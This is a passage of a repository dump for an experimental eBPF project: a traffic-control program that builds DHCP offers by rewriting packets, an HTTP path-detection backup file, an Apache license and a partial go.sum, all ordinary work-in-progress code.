bpf_printk("[MAP] Found %pI4 in eBPF map for MAC address starting %:%x:%x", 55 | &state->address, mac[0], mac[1], mac[2]); 56 | } else { 57 | bpf_printk("[MAP] wrong MAC address starting %x:%x:%x", mac[0], mac[1], 58 | mac[2]); 59 | 60 | return TC_ACT_OK; 61 | } 62 | 63 | if (h_proto == bpf_htons(ETH_P_IP)) { 64 | struct iphdr *iph = data + nh_off; 65 | 66 | if ((void *)(iph + 1) > data_end) { 67 | return 0; 68 | } 69 | 70 | if (iph->protocol != IPPROTO_UDP) { 71 | return 0; 72 | } 73 | __u32 ip_hlen = 0; 74 | //__u32 poffset = 0; 75 | //__u32 plength = 0; 76 | // __u32 ip_total_length = bpf_ntohs(iph->tot_len); 77 | 78 | ip_hlen = iph->ihl << 2; 79 | 80 | if (ip_hlen < sizeof(*iph)) { 81 | return 0; 82 | } 83 | struct udphdr *udph = data + nh_off + sizeof(*iph); 84 | 85 | if ((void *)(udph + 1) > data_end) { 86 | return 0; 87 | } 88 | __u16 src_port = bpf_ntohs(udph->source); 89 | __u16 dst_port = bpf_ntohs(udph->dest); 90 | 91 | if (src_port == 67 || dst_port == 67) { 92 | 93 | // Get the DNS Header 94 | struct dhcp_message *dhcp_m = 95 | data + sizeof(*eth) + sizeof(*iph) + sizeof(*udph); 96 | if ((void *)(dhcp_m + 1) > data_end) { 97 | return 0; 98 | } 99 | 100 | // dhcp_entry *entry; 101 | __u8 op = dhcp_m->dp_op; 102 | switch (op) { 103 | case DHCP_BOOTREQUEST: 104 | bpf_printk("[DHCP] Requesting a Lease"); 105 | // Set ethernet source as destination 106 | for (int i = 0; i < 6; i++) { 107 | eth->h_dest[i] = eth->h_source[i]; 108 | } 109 | // Set ethernet source to the server MAC (TODO specified in qemu.sh) 110 | // __u8 mac[6] = {0x52, 0x52, 0x12, 0x11, 0x3c, 0xc0}; 111 | 112 | // mac[0] = 0x52; 113 | // mac[1] = 0x52; 114 | // mac[2] = 0x12; 115 | // mac[3] = 0x11; 116 | // mac[4] = 0x3c; 117 | // mac[5] = 0xc0; 118 | 119 | __u8 *res = memcpy(eth->h_source, mac, sizeof(mac)); 120 | 121 | if (!res) { 122 | bpf_printk("Error copying mac address"); 123 | } 124 | // eth->h_source[0] = 0x52; 125 | // eth->h_source[1] = 0x52; 126 | // eth->h_source[2] = 0x12; 127 | // eth->h_source[3] = 0x11; 128 | // eth->h_source[4] = 0x3c; 129 | // eth->h_source[5] = 0xc0; 130 | 131 | iph->saddr = bpf_htonl(0xB6A86401); 132 | iph->daddr = state->address; 133 | 134 | // Switch ports 135 | udph->source = bpf_htons(0x43); 136 | udph->dest = bpf_htons(0x44); 137 | 138 | // Set DHCP OP to Offer 139 | op = dhcp_m->dp_op = 0x02; 140 | 141 | // Set your IP 142 | __u32 address = 0; 143 | address = dhcp_m->dp_yiaddr = state->address; 144 | // dhcp_entry new_entry; 145 | // new_entry.dhcp_state = op; 146 | // new_entry.address = address; 147 | 148 | // int update1 = 149 | // bpf_map_update_elem(&mac_lookup, &mac, &new_entry, BPF_ANY); 150 | // if (update1 != 0) { 151 | // bpf_printk("-> couldnt update map"); 152 | // } 153 | 154 | // dhcp_m->dp_yiaddr = bpf_htonl(0xB6A86402); 155 | // dhcp_m->dp_siaddr = bpf_htonl(0xB6A86401); 156 | // dhcp_m->dp_giaddr = bpf_htonl(0xB6A86401); 157 | // if (isIngress == 1) { 158 | // bpf_clone_redirect(skb, skb->ifindex, BPF_F_INGRESS); 159 | // } 160 | // bpf_clone_redirect(skb, skb->ifindex, 0); 161 | 162 | //__u8 state = dhcp_m->dp_op; 163 | // if (dhcp_m && dhcp_m->dp_op != 0) { 164 | // state = dhcp_m->dp_op; 165 | // } 166 | bpf_printk("Updating map with %pI4", &address); 167 | 168 | int update = bpf_map_update_elem(&dhcp_state, &address, &op, BPF_ANY); 169 | if (update != 0) { 170 | bpf_printk("-> couldnt update map"); 171 | } 172 | 173 | // return 7; 174 | // break; 175 | 176 | // case DHCP_BOOTREPLY: 177 | bpf_printk("[DHCP] Replying with Lease"); 178 | 179 | // so weird 180 | bpf_printk("[DHCP] Reading from magic %d", bpf_htonl(dhcp_m->magic)); 181 | __u8 *state; 182 | if (dhcp_m->dp_yiaddr != 0) { 183 | __u32 address = dhcp_m->dp_yiaddr; 184 | bpf_printk("Looking up with %pI4", &address); 185 | state = bpf_map_lookup_elem(&dhcp_state, &address); 186 | if (state) { 187 | bpf_printk("-> %d", *state); 188 | } 189 | 190 | if (eth) { 191 | char mac[6]; 192 | for (int i = 0; i < 6; i++) { 193 | mac[i] = eth->h_source[i]; 194 | } 195 | dhcp_entry *existing_entry; 196 | existing_entry = bpf_map_lookup_elem(&mac_lookup, mac); 197 | if (existing_entry) { 198 | // bpf_printk("Entry for %s -> %d", address, 199 | // existing_entry->address); 200 | } 201 | } 202 | // address = dhcp_m->dp_yiaddr; 203 | } 204 | 205 | // lets hack the options 206 | dhcp_offer offer = { 207 | .option_message_type = 53, 208 | .option_message_type_len = 1, 209 | //.option_dhcp_id_value = 210 | .option_subnet_mask = 1, 211 | .option_subnet_mask_len = 4, 212 | .option_subnet_mask_value = bpf_htonl(0xffffff00), // 255.255.255.0 213 | 214 | .option_router = 3, 215 | .option_router_len = 4, 216 | .option_router_value = bpf_htonl(0xB6A86401), 217 | 218 | .option_renew_time = 58, 219 | .option_renew_time_len = 4, 220 | .option_renew_time_value = bpf_htonl(0x00000708), 221 | 222 | .option_rebind_time = 59, 223 | .option_rebind_time_len = 4, 224 | .option_rebind_time_value = bpf_htonl(0x00000708), 225 | 226 | .option_lease_time = 51, 227 | .option_lease_time_len = 4, 228 | .option_lease_time_value = bpf_htonl(0x00000708), 229 | 230 | .option_dhcp_id = 54, 231 | .option_dhcp_id_len = 4, 232 | .option_dhcp_id_value = bpf_htonl(0xB6A86401), 233 | 234 | .end = 0xff, 235 | }; 236 | 237 | // 238 | 239 | __u8 option = 0; 240 | __u8 option_value = 0; 241 | __u8 ret = bpf_skb_load_bytes(skb, 282, &option, sizeof(option)); 242 | if (ret != 0) { 243 | bpf_printk("error %d", ret); 244 | return 0; 245 | } 246 | 247 | if (option == 53) { // This is the DHCP message type value 248 | ret = bpf_skb_load_bytes(skb, 282 + sizeof(option) + sizeof(__u8), 249 | &option_value, sizeof(option_value)); 250 | if (ret != 0) { 251 | bpf_printk("error %d", ret); 252 | return 0; 253 | } 254 | // If an offer has already gone out, then send an ACK 255 | if (dhcp_m->dp_op == 2) { 256 | if (option_value == 1) { 257 | offer.option_message_value = 2; 258 | } 259 | if (option_value == 3) { 260 | offer.option_message_value = 5; 261 | } 262 | } 263 | 264 | // Write our offer 265 | ret = bpf_skb_store_bytes(skb, 282, &offer, sizeof(offer), 266 | BPF_F_RECOMPUTE_CSUM); 267 | if (ret != 0) { 268 | bpf_printk("error %d", ret); 269 | return 0; 270 | } 271 | 272 | if (isIngress == 1) { 273 | bpf_clone_redirect(skb, skb->ifindex, BPF_F_INGRESS); 274 | } else { 275 | bpf_clone_redirect(skb, skb->ifindex, 0); 276 | } 277 | // // End the DHCP options with "255" or 0xff 278 | // option_value = 0xff; 279 | // ret = bpf_skb_store_bytes( 280 | // skb, 282 + sizeof(option) + sizeof(__u8) + 281 | // sizeof(option_value), &option_value, sizeof(option_value), 282 | // BPF_F_RECOMPUTE_CSUM); 283 | // if (ret != 0) { 284 | // bpf_printk("error %d", ret); 285 | // return 0; 286 | // } 287 | } 288 | break; 289 | return TC_ACT_OK; 290 | } 291 | 292 | // //Get a pointer to the start of the DNS query 293 | // void *query_start = (void *)dns_hdr + sizeof(struct dns_hdr); 294 | 295 | // struct dns_query q; 296 | // int query_length = 0; 297 | // query_length = parse_query(skb, query_start, &q); 298 | // if (query_length < 1) 299 | // { 300 | // return 0; 301 | // } 302 | // //bpf_printk("%u %s %u", query_length, q.name, sizeof(q.name)); 303 | // if (bpf_strcmplength(q.name, "github.com", query_length) == 0) { 304 | // bpf_printk("woo"); 305 | // } 306 | } 307 | } 308 | return 0; 309 | } 310 | 311 | // eBPF hooks - This is where the magic happens! 312 | SEC("tc_in") 313 | int tc_ingress(struct __sk_buff *skb) { return read_dhcp(skb, 1); } 314 | 315 | SEC("tc_egress") 316 | int tc_egress_(struct __sk_buff *skb) { return read_dhcp(skb, 0); } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /ebpf/http/http.c.backup: -------------------------------------------------------------------------------- 1 | // +build ignore 2 | #include "../headers/vmlinux.h" 3 | #include 4 | #include 5 | #include 6 | //#include 7 | //#include 8 | //#include 9 | char __license[] SEC("license") = "GPL"; 10 | 11 | #define TC_ACT_OK 0 12 | #define ETH_P_IP 0x0800 /* Internet Protocol packet */ 13 | #define ETH_HLEN 14 /*Ethernet Header Length */ 14 | 15 | #define max_path_len 20 16 | 17 | static inline int is_http(struct __sk_buff *skb, __u64 nh_off); 18 | static inline int bpf_strcmplength(char *s1, char *s2, u32 n); 19 | static inline int bpf_strncmpoffset(char *s1, char *s2, u32 n, u32 o); 20 | 21 | struct { 22 | __uint(type, BPF_MAP_TYPE_HASH); 23 | __uint(max_entries, 1024); 24 | __type(key, __u32); 25 | __type(value, struct url_path); 26 | } 27 | url_map SEC(".maps"); 28 | 29 | struct url_path { 30 | size_t path_len; 31 | __u8 path[max_path_len]; // This should be a char but code generation between here and Go.. 32 | }; 33 | 34 | 35 | SEC("tc") 36 | int tc_ingress(struct __sk_buff * skb) { 37 | void *data_end = (void *)(long)skb->data_end; 38 | void *data = (void *)(long)skb->data; 39 | struct ethhdr *eth = data; 40 | __u16 h_proto; 41 | __u64 nh_off = 0; 42 | nh_off = sizeof(*eth); 43 | 44 | if (data + nh_off > data_end) { 45 | return TC_ACT_OK; 46 | } 47 | 48 | h_proto = eth->h_proto; 49 | 50 | if (h_proto == bpf_htons(ETH_P_IP)) { 51 | if (is_http(skb, nh_off) == 1) { 52 | bpf_printk("Yes! It is HTTP!\n"); // (ERROR) 53 | } 54 | } 55 | 56 | return TC_ACT_OK; 57 | } 58 | 59 | 60 | static inline int is_http(struct __sk_buff *skb, __u64 nh_off) { 61 | void *data_end = (void *)(long)skb->data_end; 62 | void *data = (void *)(long)skb->data; 63 | struct iphdr *iph = data + nh_off; 64 | 65 | if ((void*)(iph + 1) > data_end) { 66 | return 0; 67 | } 68 | 69 | if (iph->protocol != IPPROTO_TCP) { 70 | return 0; 71 | } 72 | __u32 tcp_hlen = 0; 73 | __u32 ip_hlen = 0; 74 | __u32 poffset = 0; 75 | __u32 plength = 0; 76 | __u32 ip_total_length = iph->tot_len; 77 | 78 | ip_hlen = iph->ihl << 2; 79 | 80 | if (ip_hlen < sizeof(*iph)) { 81 | return 0; 82 | } 83 | 84 | struct tcphdr *tcph = data + nh_off + sizeof(*iph); 85 | 86 | if ((void*)(tcph + 1) > data_end) { 87 | return 0; 88 | } 89 | 90 | tcp_hlen = tcph->doff << 2; 91 | poffset = ETH_HLEN + ip_hlen + tcp_hlen; 92 | plength = ip_total_length - ip_hlen - tcp_hlen; 93 | if (plength >= 7) { 94 | char p[50]; 95 | 96 | // Load data from the socket buffer, poffset starts at the end of the TCP Header 97 | int ret = bpf_skb_load_bytes(skb, poffset, p, 50); 98 | if (ret != 0) { 99 | // bpf_printk("error reading data: %d", ret); 100 | return 0; 101 | } 102 | // Print out the entire HTTP request (debug) 103 | bpf_printk("%s", p); 104 | 105 | // for (i = 0; i < 7; i++) { 106 | //p[i] = (unsigned char *)skb->data[poffset +i] 107 | //p[i] = load_byte(skb, poffset + i); 108 | //} 109 | //const char *x = p; 110 | if (bpf_strcmplength(p, "GET", 3) == 0) { 111 | 112 | char path[max_path_len]; 113 | int path_len = 0; 114 | for (int i = 4; i < sizeof(p) ; i++) 115 | { 116 | if (p[i] != ' ') { 117 | path[i-4] = p[i]; 118 | } else { 119 | path[i-4] = '\0'; 120 | path_len = i-4; 121 | break; 122 | } 123 | } 124 | bpf_printk("found path -> [%s], length [%d]", path, path_len); 125 | 126 | 127 | if (bpf_strncmpoffset(p, "/test", 5,4) == 0) { 128 | 129 | return 1; 130 | } 131 | 132 | 133 | } 134 | // if (bpf_strncmp2(p, "HTTP/1.1", 10) == 0) { 135 | // bpf_printk("woah2 %s", p); 136 | // bpf_printk("woah"); 137 | 138 | // return 1; 139 | // } 140 | // if ((p[0] == 'H') && (p[1] == 'T') && (p[2] == 'T') && (p[3] == 'P')) { 141 | // bpf_printk("woah200"); 142 | 143 | // return 1; 144 | // } 145 | 146 | 147 | } 148 | 149 | return 0; 150 | } 151 | 152 | static inline int bpf_strcmplength(char *s1, char *s2, u32 n) 153 | { 154 | for (int i = 0; i < n && i < sizeof(s1) && i < sizeof(s2); i++) 155 | { 156 | if (s1[i] != s2[i]) 157 | return s1[i] - s2[i]; 158 | 159 | if (s1[i] == s2[i] == '\0') 160 | return 0; 161 | } 162 | 163 | return 0; 164 | } 165 | 166 | static inline int bpf_strncmpoffset(char *s1, char *s2, u32 n, u32 o) 167 | { 168 | for (int i = 0; i < n && i < sizeof(s1) && i < sizeof(s2); i++) 169 | { 170 | if (s1[i+o] != s2[i]) 171 | return s1[i+o] - s2[i]; 172 | 173 | if (s1[i+o] == s2[i] == '\0') 174 | return 0; 175 | } 176 | 177 | return 0; 178 | } 179 | 180 | // static inline int bpf_strcmp(char *s1, char *s2) 181 | // { 182 | // u32 s1_size = sizeof(s1); 183 | // u32 s2_size = sizeof(s2); 184 | 185 | // return bpf_strncmp2(s1, s2, s1_size < s2_size ? s1_size : s2_size); 186 | // } 187 | 188 | 189 | // SEC("tc") 190 | // int tc_ingress1(struct __sk_buff * skb) { 191 | 192 | // void *data_end = (void *)(long)skb->data_end; 193 | // void *data = (void *)(long)skb->data; 194 | // // struct tcphdr *tcph; 195 | // // struct iphdr *iph; 196 | // // struct ethhdr * eth = data; 197 | 198 | // // __u64 nh_off = sizeof( * eth); 199 | 200 | // // if (data + nh_off > data_end) 201 | // // return TC_ACT_OK; 202 | 203 | // // if (bpf_ntohs(eth->h_proto) != ETH_P_IP) 204 | // // return TC_ACT_OK; 205 | 206 | // // if (data + sizeof(*eth) + sizeof(*iph) > data_end) 207 | // // return TC_ACT_OK; 208 | 209 | // // iph = data + sizeof(*eth); 210 | // // if (iph->protocol != IPPROTO_TCP) 211 | // // return TC_ACT_OK; 212 | 213 | // // if (data + sizeof(*eth) + sizeof(*iph) + sizeof(*tcph) > data_end) 214 | // // return TC_ACT_OK; 215 | 216 | // // tcph = data + sizeof(*eth) + sizeof(*iph); 217 | 218 | // // if (__bpf_htons(tcph->source) != 80) 219 | // // return TC_ACT_OK; 220 | 221 | // // bpf_printk("packet %d to %d", __bpf_htons(tcph->dest), __bpf_htons(tcph->source)); 222 | 223 | // // u32 tcp_header_length = 0; 224 | // // u32 ip_header_length = 0; 225 | // // unsigned char *payload; 226 | // // u32 payload_length = 0; 227 | // // ip_header_length = (iph->ihl) << 2; //SHL 2 -> *4 multiply 228 | // // tcp_header_length = (tcph->doff) << 2; //SHL 2 -> *4 multiply 229 | // // // char * data1; 230 | // // // data1 = (char *)((unsigned char *)tcph + (tcph->doff * 4)); 231 | 232 | // // payload = (unsigned char *)tcph + tcp_header_length; 233 | 234 | // // //calculate payload offset and length 235 | // //payload_offset = sizeof(*eth) + sizeof(*iph); 236 | // //payload_length = __bpf_htons(iph->tot_len) - ip_header_length - tcp_header_length; 237 | // // if(payload_length < 7) { 238 | // // goto DROP; 239 | // // } 240 | // // //load first 7 byte of payload into p (payload_array) 241 | // // //direct access to skb not allowed 242 | // // unsigned long p[7]; 243 | // // int i = 0; 244 | // // for (i = 0; i < 7; i++) { 245 | 246 | // // //p[i] = skb->data + payload_offset+i; 247 | // // //bpf_skb_load_bytes(skb, payload_offset, &p[i], 1); 248 | // // } 249 | // // bpf_printk("%s", payload[0]); 250 | // // bpf_printk("Total length: %d IP Header length: %d TCP Header: %d ",__bpf_htons(iph->tot_len), ip_header_length, tcp_header_length); 251 | // // void *data_end = (void *)(long)ctx->data_end; 252 | // // void *data = (void *)(long)ctx->data; 253 | // void *head = data; 254 | // struct ethhdr *eth; 255 | // struct iphdr *iph; 256 | // // struct ipv6hdr *ip6h; 257 | // struct tcphdr *tcph; 258 | // uint16_t h_proto; 259 | // uint8_t *tcp_data; 260 | // // int nbzeros = 0; 261 | // // int i = 0; 262 | // // bool found = false; 263 | 264 | // eth = head; 265 | // if ((void *)eth + sizeof(struct ethhdr) >= data_end) 266 | // return TC_ACT_OK; 267 | // head += sizeof(struct ethhdr); 268 | 269 | // h_proto = eth->h_proto; 270 | // switch (h_proto) 271 | // { 272 | // case bpf_htons(ETH_P_IP): 273 | // iph = head; 274 | // if ((void *)iph + sizeof(struct iphdr) >= data_end) 275 | // return TC_ACT_OK; 276 | 277 | // h_proto = iph->protocol; 278 | 279 | // head += iph->ihl * 4; 280 | 281 | // break; 282 | 283 | // // case bpf_htons(ETH_P_IPV6): 284 | // // ip6h = head; 285 | // // if ((void *)ip6h + sizeof(struct ipv6hdr) >= data_end) 286 | // // return TC_ACT_OK; 287 | 288 | // // h_proto = ip6h->nexthdr; 289 | 290 | // // head += sizeof(struct ipv6hdr); 291 | 292 | // // break; 293 | 294 | // default: 295 | // return TC_ACT_OK; 296 | // } 297 | 298 | // if (h_proto != IPPROTO_TCP) 299 | // return TC_ACT_OK; 300 | 301 | // tcph = head; 302 | // if ((void *)tcph + sizeof(*tcph) > data_end) 303 | // return TC_ACT_OK; 304 | // head += sizeof(*tcph); 305 | 306 | // head += tcph->doff * 4; 307 | 308 | // if (head + tcph->doff * 4 > data_end) { 309 | // bpf_printk("doff %d, offset %d, size %d", tcph->doff, head, data_end); 310 | // return TC_ACT_OK; 311 | 312 | // } 313 | 314 | // // if (tcph->dest != 4420) 315 | // // return TC_ACT_OK; 316 | 317 | // tcp_data = head; 318 | 319 | // // 1500 is the typical MTU size 320 | // // #define MAX_ITER 1500 321 | 322 | // // for (i = 0; i < MAX_ITER; i++) 323 | // // { 324 | // // if ((void *)tcp_data + i + 1 >= data_end) 325 | // // return TC_ACT_OK; 326 | 327 | // // if (tcp_data[i] == 0) 328 | // // { 329 | // // nbzeros++; 330 | // // continue; 331 | // // } 332 | 333 | // // found = true; 334 | // // break; 335 | // // } 336 | 337 | // // if (found && nbzeros > 50) 338 | // // { 339 | // // bpf_printk("found nvme pdu tail seq=%u\n", bpf_ntohs(tcph->seq)); 340 | // // } 341 | 342 | // // return TC_ACT_OK; 343 | // // } 344 | // bpf_printk("port %d", tcph->dest); 345 | 346 | // //find a match with an HTTP message 347 | // //HTTP 348 | // // if ((void *)tcp_data[4]+1 >= data_end) { 349 | // // return TC_ACT_OK; 350 | // // } else if ((tcp_data[0] == 'H') && (tcp_data[1] == 'T') && (tcp_data[2] == 'T') && (tcp_data[3] == 'P')) { 351 | // // bpf_printk("woah"); 352 | // // } 353 | // if ((void *)tcp_data +1 <= data_end) { 354 | // if (tcp_data[0] == 'H') { 355 | // bpf_printk("woah"); 356 | 357 | // } 358 | // bpf_printk("woah"); 359 | 360 | // } 361 | // //GET 362 | // // if ((p[0] == 'G') && (p[1] == 'E') && (p[2] == 'T')) { 363 | // // goto KEEP; 364 | // // } 365 | // // //POST 366 | // // if ((p[0] == 'P') && (p[1] == 'O') && (p[2] == 'S') && (p[3] == 'T')) { 367 | // // goto KEEP; 368 | // // } 369 | // // //PUT 370 | // // if ((p[0] == 'P') && (p[1] == 'U') && (p[2] == 'T')) { 371 | // // goto KEEP; 372 | // // } 373 | // // //DELETE 374 | // // if ((p[0] == 'D') && (p[1] == 'E') && (p[2] == 'L') && (p[3] == 'E') && (p[4] == 'T') && (p[5] == 'E')) { 375 | // // goto KEEP; 376 | // // } 377 | // // //HEAD 378 | // // if ((p[0] == 'H') && (p[1] == 'E') && (p[2] == 'A') && (p[3] == 'D')) { 379 | // // goto KEEP; 380 | // // } 381 | // //no HTTP match 382 | // // goto DROP; 383 | // // //keep the packet and send it to userspace returning -1 384 | // // KEEP: 385 | // // bpf_printk("incoming %pI4, protocol: %u",&(iph -> daddr), iph -> protocol); 386 | 387 | // // return -1; 388 | // // //drop the packet returning 0 389 | // // DROP: 390 | // return 0; 391 | // } 392 | -------------------------------------------------------------------------------- /userland/go/tc_ingress/go.sum: -------------------------------------------------------------------------------- 1 | github.com/PraserX/ipconv v1.2.0 h1:3bboP9EDfsuMF5C3qM25OmZA4+cCfk1Ahpx8zn5G2tM= 2 | github.com/PraserX/ipconv v1.2.0/go.mod h1:aBiLM1bDAjp1++Q0Sp3IrGbPd49b74IUgoRWod6EtPY= 3 | github.com/cilium/ebpf v0.5.0/go.mod h1:4tRaxcgiL706VnOzHOdBlY8IEAIdxINsQBcU4xJJXRs= 4 | github.com/cilium/ebpf v0.7.0/go.mod h1:/oI2+1shJiTGAMgl6/RgJr36Eo1jzrRcAWbcXO2usCA= 5 | github.com/cilium/ebpf v0.8.1/go.mod h1:f5zLIM0FSNuAkSyLAN7X+Hy6yznlF1mNiWUMfxMtrgk= 6 | github.com/cilium/ebpf v0.11.0 h1:V8gS/bTCCjX9uUnkUFUpPsksM8n1lXBAvHcpiFk1X2Y= 7 | github.com/cilium/ebpf v0.11.0/go.mod h1:WE7CZAnqOL2RouJ4f1uyNhqr2P4CCvXFIqdRDUgWsVs= 8 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 9 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 10 | github.com/florianl/go-tc v0.4.2 h1:jan5zcOWCLhA9SRBHZhQ0SSAq7cmDUagiRPngAi5AOQ= 11 | github.com/florianl/go-tc v0.4.2/go.mod 